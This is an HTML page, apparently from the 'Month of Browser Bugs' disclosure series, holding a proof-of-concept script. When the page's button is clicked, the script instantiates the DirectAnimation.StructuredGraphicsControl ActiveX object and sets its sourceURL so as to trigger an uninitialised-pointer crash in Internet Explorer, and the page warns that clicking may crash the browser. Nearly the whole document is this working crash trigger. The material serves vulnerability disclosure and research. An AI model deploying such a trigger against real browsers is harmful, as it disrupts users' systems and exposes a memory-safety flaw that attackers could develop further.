&lt;html&gt;&lt;body&gt;&lt;script&gt;

// MoBB Demonstration
function Demo() {
        var a = new ActiveXObject(&#039;DirectAnimation.StructuredGraphicsControl&#039;);
        a.sourceURL = &#039;CrashingBecauseStreamPtrNotInitialized&#039;;
}

&lt;/script&gt;

Clicking the button below may crash your browser!&lt;br&gt;&lt;br&gt;
&lt;input type=&#039;button&#039; onClick=&#039;Demo()&#039; value=&#039;Start Demo!&#039;&gt;


&lt;/body&gt;&lt;/html&gt;